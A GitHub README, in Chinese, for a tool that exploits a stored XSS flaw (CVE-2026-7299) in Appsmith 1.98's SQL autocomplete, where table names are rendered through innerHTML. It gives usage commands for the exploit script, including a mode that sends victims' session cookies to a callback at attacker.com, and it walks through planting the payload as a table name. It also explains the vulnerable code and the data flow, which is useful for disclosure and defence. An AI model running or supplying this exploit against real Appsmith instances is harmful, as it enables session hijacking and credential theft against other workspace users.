Stuub/Appsmith-1.98-Stored-XSS-Exploit

GitHub: Stuub/Appsmith-1.98-Stored-XSS-Exploit

Appsmith平台CVE-2026-7299漏洞的自动化利用工具。

Stars: 1 | Forks: 0

# CVE-2026-7299 - Appsmith 1.98 存储型跨站脚本漏洞 (SQL 自动完成 innerHTML 沉淀) Appsmith SQL 查询编辑器中存储型跨站脚本漏洞的自动利用。工作空间开发者可以通过数据库表名注入任意 JavaScript,当 SQL 自动完成触发时,在任意其他工作空间成员的浏览器中执行。 已确认在 Appsmith **v1.98** 中存在,并可能影响所有存在自定义 SQL 提示渲染器的先前版本。漏洞存在于 `hintHelpers.ts:165`,其中 CodeMirror 的安全默认提示渲染(`textContent`)被自定义 `render` 回调覆盖,该回调使用 `innerHTML` 显示数据库表和列名,没有任何净化。 ## 使用方法 基本警报 PoC: ``` python3 exploit.py --url http://target:4444 --email attacker@test.com --password Password1! ``` 将 Cookie 泄露到回调服务器: ``` python3 exploit.py --url http://target:4444 --email attacker@test.com --password Password1! \ --callback-url http://attacker.com:8888 ``` 自定义有效载荷: ``` python3 exploit.py --url http://target:4444 --email attacker@test.com --password Password1! \ --custom-payload '' ``` 如果尚不存在 PostgreSQL 数据源,则脚本会自动发现连接,或者您可以提供凭据: ``` python3 exploit.py --url http://target:4444 --email attacker@test.com --password Password1! \ --db-host postgres --db-name testdb --db-user postgres --db-pass postgres ``` ## 示例 Screenshot_20260330_161606 ### PoC 视频演示 https://www.youtube.com/watch?v=1RHBYZ2Bp_A ## 文档 ### 背景 Appsmith 是一个开源的低代码平台,团队通过连接数据源和编写查询来构建内部工具。SQL 查询编辑器提供自动完成建议,这些建议由连接的数据库的表和列元数据填充。 `hintHelpers.ts` 中的自动完成渲染使用自定义 CodeMirror `render` 回调: ``` completion.render = (LiElement, _data, { className, text }) => { const { hintType, iconBgType, iconText } = getHintDetailsFromClassName(text, className); LiElement.setAttribute("hinttype", hintType); LiElement.setAttribute("icontext", iconText); LiElement.classList.add("cm-sql-hint"); LiElement.classList.add(`cm-sql-hint-${iconBgType}`); LiElement.innerHTML = text; // <-- unsanitized table/column name }; ``` CodeMirror 5 的默认提示渲染使用 `textContent`(安全)。Appsmith 使用 `innerHTML` 覆盖此默认值以添加自定义 CSS 类和图标属性进行样式化,但实际文本内容(表名)被分配为原始 HTML。在从数据库目录到 DOM 渲染的 8 个步骤数据流中的任何一点都没有进行净化。 ### 利用流程 整个攻击是通过 Appsmith 网页 UI 进行的。 攻击者(工作空间开发者)运行一个 `CREATE TABLE` 语句,其中 XSS 有效载荷作为表名。Appsmith 的 PostgresPlugin 执行零 DDL 过滤,`statement.execute(query)` 接受任何有效的 SQL,包括 DDL。 ``` CREATE TABLE "" (id serial primary key); ``` 任何其他工作空间成员打开相同数据源的 SQL 查询编辑器并开始键入查询。自动完成下拉菜单出现,显示从数据库元数据中获取的表名建议。恶意表名通过 `innerHTML` 渲染,在受害者的浏览器会话中执行 JavaScript 有效载荷。 XSS 在 Appsmith 应用程序上下文中以受害者的会话运行。攻击者可以窃取会话 Cookie(XSRF-TOKEN、SESSION),泄露数据源凭据或代表受害者进行 API 调用。如果受害者是管理员,攻击者可以提升到完整工作空间控制。 ### 数据流 ``` PostgreSQL pg_catalog (table_name, column_name) -> PostgresPlugin.getStructure() [no sanitisation] -> DatasourceStructure Java POJO [no sanitisation] -> REST API /api/v1/datasources/{id}/structure [no sanitisation] -> Redux state.entities.datasources [no sanitisation] -> getAllDatasourceTableKeys selector [no sanitisation] -> SqlHintHelper.setDatasourceTableKeys() [no sanitisation] -> CodeMirror hint.sql() completions [no sanitisation] -> LiElement.innerHTML = text [XSS] ``` 没有净化,在自动完成渲染器调用时将有效载荷渲染到 innerHTML 中,并在 DOM 中触发。 ## 参考资料 - [CVE-2026-7299](https://kb.cert.org/vuls/id/265691) - [Appsmith GitHub 仓库](https://github.com/appsmithorg/appsmith) - [CWE-79:在网页生成过程中不恰当地净化输入](https://cwe.mitre.org/data/definitions/79.html) - [CVE-2026-30862 - TableWidgetV2 中的类似模式(已修复)](https://github.com/appsmithorg/appsmith/security/advisories) - 漏洞文件:`app/client/src/components/editorComponents/CodeEditor/hintHelpers.ts:165` ## 免责声明 本工具仅提供授权安全测试和教育目的。仅针对您拥有或明确获得测试许可的系统使用。我对由此工具造成的任何滥用或损害不承担责任。 祝您黑客快乐!
标签:威胁模拟, 逆向工具